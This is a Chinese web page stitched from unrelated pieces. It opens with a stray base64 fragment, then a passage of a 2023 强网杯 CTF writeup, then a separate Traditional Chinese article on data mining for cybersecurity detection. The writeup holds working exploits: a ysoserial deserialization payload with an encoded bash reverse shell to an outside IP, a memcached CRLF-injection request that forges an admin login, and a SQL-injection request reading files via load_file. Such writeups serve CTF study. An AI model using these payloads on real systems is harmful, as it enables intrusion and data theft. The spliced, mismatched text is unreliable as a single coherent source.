AHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0

在编辑页面修改抓包

 

fgasrr5lo1u13481.jpg

 

放包

2023 强网杯 writeup by Arr3stY0u

再次访问该商品得到flag

 

12xoqpkmw1x13488.jpg

 

flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7}

happygame

使用grpcui工具

grpcui -plaintext ip:port

打开以后可以发现一个序列化参数。

 

akbvfccultj13491.jpg

 

猜测后端是java组件,这里经过测试,发现CC5可以攻击,所以用ysoserial生成payload,因为exec会把管道符当做参数,所以需要先编码

java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xNzguODkvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" | base64

发送该数据,即可成功反弹shell

 

ju35ovfggda13494.jpg

 

thinkshopping

第二天又上了thinkshopping这一题,和前一题主要的区别是goods_edit.html中的反序列化入口被删了anfzusczmkq13498.jpg

还有admin表中的内容被清空了,没有1、admin、e10adc3949ba59abbe56e057f20f883e这条数据了

更重要的是,secure_file_priv的值为空了3x31zpw5wqd13501.png

而前一题还是有值的

bisx2uych5x13505.png

当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。

那么,如何进入到后台呢?前面提到,容器在启动的时候使用了memcached,但是在前一题中并没有用到z3iy5truub013509.jpg

并且启动了memcached后,ThinkPHP中也配置了cache使用memcached做缓存riinkhi10e213512.jpg

而在登录时,使用了cache先获取缓存q23anmzswsz13513.jpg

跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中,这里的缓存的key格式为:think:shop.admin|usernameg5a3addemxk13516.jpg

那么如何控制缓存的值呢?memcached存在CRLF注入漏洞,具体可参考下方文章:

 https://www.freebuf.com/vuls/328384.html

简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度

TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf

等价于
set snowwolf 0 500 4
wolf
那么我们需要注入一个怎么样的数据呢?我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到路由,然后访问执行
 public function test(){
    $result = Db::query("select * from admin where id=1");
    var_dump($result);
    $a = "think:shop.admin|admin";
    Cache::set($a, $result, 3600);
}

查看memcached中的值,长得像个序列化字符串

telnet 127.0.0.1 11211

get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
l5weoou5edr13519.jpg

这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:

上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用

set key flags exptime bytes [noreply] 

value 

所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Length: 183
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa
ysju3dszrhe13522.jpg  

参考原文链接:

https://mp.weixin.qq.com/s/ksGjGGeYjvWpgmRA5xyBpg https://mp.weixin.qq.com/s/ZNbUGyYkLP0YWDGIVMN-Zw https://mp.weixin.qq.com/s/zBWgPmK4edhkc153A7cvTw https://blog.csdn.net/qq_65165505/article/details/135044734

僅在2021 年,人類就創建、複製和使用了大約74 澤字節(萬億千兆字節)的數據。看起來我們擁有所需的所有數據,但實際上每年都越來越難找到相關信息。幸運的是,數據挖掘等技術可以幫助我們恢復數據的秩序,並利用它來提高我們的網絡安全。

使用數據挖掘技術分析您的數據庫和安全日誌可以幫助您改進對惡意軟件、系統和網絡入侵、內部攻擊以及許多其他安全威脅的檢測。有些技術甚至可以準確預測攻擊並檢測零日威脅。

在本文中,我們研究了關鍵數據挖掘技術以及網絡和端點安全中數據挖掘的五個用例。這篇文章對於開發網絡安全軟件並希望提高其威脅檢測能力的團隊很有用。

網絡安全中的數據挖掘:過程、優點和缺點什麼是數據挖掘?數據挖掘是分析信息、發現新模式和數據以及預測未來趨勢的過程。它經常用於科學研究、業務開發、客戶關係和其他領域。

雖然術語數據挖掘通常被視為數據庫中知識發現(KDD)的同義詞,但它實際上只是KDD 過程中的步驟之一。 KDD 的主要目標是從大量數據中獲取有用且通常是以前未知的信息。整個KDD流程包括四個步驟:

image.png

數據庫中知識發現的4 個步驟

KDD 廣泛應用於任何可以從海量數據分析中獲益的領域:科學研究、商業分析、營銷研究等。它還被網絡犯罪分子用來尋找新的攻擊方式,並被網絡安全專業人員用來檢測和阻止這些新的攻擊。

結合數據挖掘和網絡安全可以確定網絡攻擊的特徵並改進攻擊檢測過程。為了獲得有價值的知識,數據挖掘使用了來自統計學、機器學習(ML)、人工智能(AI) 和數據庫系統的方法。

數據挖掘可幫助您快速分析龐大的數據集並自動發現隱藏的模式,這對於創建能夠檢測以前未知威脅的有效反惡意軟件解決方案至關重要。但是,使用數據挖掘方法的最終結果始終取決於您使用的數據質量。

依靠數據挖掘來改進保護有其自身的優點和缺點。讓我們來看看它們:

image.png

這些是出於網絡安全目的而挖掘數據的一般利弊。除此之外,每種數據挖掘技術都有自己的優勢、局限性和特定的用例。讓我們來看看網絡安全的六種關鍵數據挖掘方法。

6 大關鍵數據挖掘技術您可以使用預測或描述技術來挖掘數據庫。說明性技術根據過去的事件進行預測,而描述性技術側重於對現有數據庫的分析和構建。

讓我們來看看網絡安全的六種關鍵數據挖掘技術:

image.png

挖掘網絡安全數據的技術

分類此技術通過將大型數據集分解為預定義的類、概念和變量組來創建數據庫模型。您還可以使用它來分析構建模型後添加到數據庫中的變量,並為它們分配相應的類。為了實現準確的實時分類,您需要非常注意算法的監督訓練以及測試其工作原理。在網絡安全中,分類通常用於檢測垃圾郵件和網絡釣魚電子郵件。

回歸分析這些算法根據數據集中其他變量的已知平均值來預測一個變量的變化值。使用此技術,您可以在數據庫中建立因變量和自變量之間的關係模型。分析變量的變化並將這些變化與因變量進行比較可以幫助您確定變化的原因以及一個變量對另一個變量的影響。回歸分析廣泛用於預測趨勢和事件,包括可能的網絡攻擊。

時間序列分析這些算法通過分析數據庫中任何數據條目更改的時間來發現和預測基於時間的模式。這種技術對於通過挖掘多年數據庫來深入了解各種週期性活動特別有用。您可以依靠時間序列分析來預測在特定事件、季節甚至一天中的某個時間發生的安全漏洞和攻擊。

關聯規則分析這是最廣泛的數據挖掘算法之一。關聯規則分析可以幫助您發現數據庫中頻繁一起出現的變量之間可能存在的關係,並發現隱藏的模式。您可以應用此技術來分析和預測用戶行為、檢查網絡流量以及定義網絡攻擊模式。安全人員經常使用關聯規則分析來研究攻擊者的行為和思維方式。

聚類聚類有助於識別具有共同特徵的數據項並了解變量的異同。它類似於分類,但聚類不能實時對變量進行排序。此技術只能幫助您構建和分析現有數據庫。與分類相比,聚類允許在模型中進行更改並創建子集群,而無需重新設計所有算法。

總結這種數據挖掘技術側重於編譯數據集、類和集群的簡要描述。摘要可以幫助您更好地了解數據集的內容和數據挖掘過程的結果,因為它可以掌握數據的本質並消除手動挖掘數據的需要。在網絡安全解決方案中,匯總主要用於生成報告和可視化日誌。

請記住,這些數據挖掘技術中的每一種都可以通過ML 和AI 算法得到增強。這些尖端技術可以幫助您發現更多隱藏的模式並提高預測的準確性。然而,將ML 和AI 添加到網絡安全解決方案中肯定會增加其開發和維護的複雜性。

接下來,我們將仔細研究特定用例,展示如何將數據挖掘用於網絡安全解決方案。

網絡安全中的數據挖掘用例您可以將數據挖掘應用於任何數據庫,並根據您想要實現的任何目標對其進行調整。在網絡安全領域,挖掘算法通常有助於發現可能表明安全事件的異常數據記錄和事件。

以下是數據挖掘在計算機安全領域最常見的五種應用:

image.png

1.惡意軟件檢測在構建安全軟件時,開發人員使用數據挖掘方法來提高惡意軟件檢測的速度和質量,以及檢測零日攻擊。

檢測惡意軟件的策略有以下三種:

image.png

惡意軟件檢測策略

異常檢測涉及對系統或網絡的正常行為進行建模,以識別與正常活動模式的偏差。基於異常的技術甚至可以檢測到以前未知的攻擊,並可用於定義濫用檢測器的簽名。

但是,異常檢測甚至可以報告偏離規範的合法活動,從而產生誤報。

誤用檢測,也稱為基於簽名的檢測,僅根據簽名示例識別已知攻擊。這種技術的誤報率較低,但無法檢測到零日攻擊。

混合方法結合了異常和濫用檢測技術,以增加檢測到的入侵數量,同時減少誤報數量。混合檢測算法不構建任何模型。相反,他們使用來自惡意軟件和合法程序的信息來創建分類器,這是一組規則或由數據挖掘算法生成的檢測模型。然後系統的異常檢測部分搜索與正常配置文件的偏差,系統的誤用檢測部分查找代碼中的惡意軟件簽名。

無論您選擇哪種策略,惡意軟件檢測系統的開發都包括兩個步驟:

image.png

惡意軟件檢測過程

首先,數據挖掘算法從API 調用、n-gram、二進製字符串、程序行為和其他事件的記錄中提取惡意軟件特徵。您可以應用靜態、動態或混合分析來從可能不安全的文件中提取惡意軟件特徵。

在分類聚類的過程中,可以使用相應的技術,根據特徵分析對文件樣本進行分組。此時,您需要使用RIPPER、決策樹、人工神經網絡、樸素貝葉斯或支持向量機等分類算法構建分類器。

使用ML 技術,每個分類算法都會構建一個模型來表示良性和惡意類。使用此類文件樣本集合訓練分類器使您甚至可以檢測新發布的惡意軟件。

2.入侵檢測攻擊者可以通過組織的網絡、數據庫、服務器、Web 客戶端和操作系統執行惡意入侵。使用數據挖掘技術,您可以分析審計結果並識別異常模式。因此,您可以檢測入侵、網絡和系統掃描、拒絕服務和滲透攻擊。

數據挖掘方法對於檢測這些類型的入侵特別有效:

image.png

通過數據挖掘檢測入侵

要檢測基於主機的攻擊,您的網絡安全軟件需要分析從程序中提取的特徵。檢測基於網絡的攻擊需要這樣的解決方案來分析網絡流量。與惡意軟件檢測一樣,您可以查找異常行為或濫用案例。

入侵檢測系統通常基於分類、聚類和關聯規則技術。這些技術允許從數據庫中提取攻擊特徵,將它們系統化,並標記任何具有相同特徵的新記錄。您可以在此處使用的一些算法包括回歸和決策樹、貝葉斯網絡、k 最近鄰、學習自動機和層次聚類。

您還可以向入侵檢測系統添加預測功能。分類和時間序列分析等技術可以計算未來入侵的可能性。使用AI 算法可以更輕鬆地檢測隱藏的或以前未知的可疑活動。

3.欺詐檢測檢測欺詐具有挑戰性,因為欺詐活動通常很隱蔽,而且網絡犯罪分子不斷發明新的欺詐模式。

利用機器學習的數據挖掘技術可以發現多種類型的欺詐行為,從金融欺詐到電信欺詐和計算機入侵。 ML 對於欺詐檢測特別有用,因為它可以:

擴展以考慮數據庫數量和復雜性的變化

學習檢測和預測新型欺詐

準確計算欺詐活動的概率

您可以使用監督和非監督ML 算法來檢測欺詐。

通過監督學習,所有可用記錄都被歸類為欺詐或非欺詐。然後使用此分類來訓練模型以檢測可能的欺詐行為。這種方法的主要缺點是無法檢測新型攻擊。

無監督學習方法從未標記的記錄中學習欺詐模式。他們為欺詐活動創建自己的分類和特徵描述。無監督學習有助於在不使用統計分析的情況下識別數據中的隱私和安全問題。它還能夠分析和檢測新型欺詐。

4.威脅情報收集有關網絡安全威脅的證據通常分散在組織的網絡中。這些記錄可用於形成訓練數據集、構建挖掘模型並提高預測準確性。但挑戰在於在數TB 的記錄中找到相關數據。

數據挖掘算法有助於發現此類隱藏數據並將其轉換為結構化的威脅情報數據庫。您可以使用聚類、關聯規則和匯總技術來發現這些類型的智能:

image.png

安全威脅情報的類型

數據挖掘通常僅用於威脅情報的第一階段:發現和構建數據。之後,網絡安全專家必須手動審查發現的數據並決定如何對其採取行動。但是,您也可以使用數據挖掘技術構建一個基於機器學習的框架來收集和處理數據。

5. 內部威脅檢測與預測內部威脅是可能對組織造成傷害的合法用戶的活動。檢測內部威脅活動通常是一項棘手的任務,因為這些行為通常看起來與普通用戶活動相似,或者它們可以被故意隱藏在威脅檢測機制之外。

由於大數據算法可以檢測機器和人類用戶的異常行為,因此它們被廣泛用於檢測和預測內部威脅。與入侵檢測系統類似,內部威脅檢測系統基於識別合法和威脅行為的特徵。

有多種基於機器學習的分類和聚類算法,包括有監督和無監督的,有助於檢測內部威脅。此外,您還可以根據數據挖掘原理訓練深度神經網絡,以檢查網絡安全日誌並實時檢測可能的內部活動。

結論可靠、相關且結構良好的數據是幾乎所有網絡安全解決方案的基礎。雖然組織每天都會生成大量數據,但手動收集和處理所有這些數據以應對網絡安全威脅是不可能的。

數據挖掘技術可以幫助您識別任何惡意活動的特徵,甚至可以預測可能的攻擊。它們在收集威脅情報和檢測惡意軟件、入侵、欺詐和內部攻擊方面特別有效。通過數據挖掘增強保護的主要好處是能夠識別已知攻擊和零日攻擊。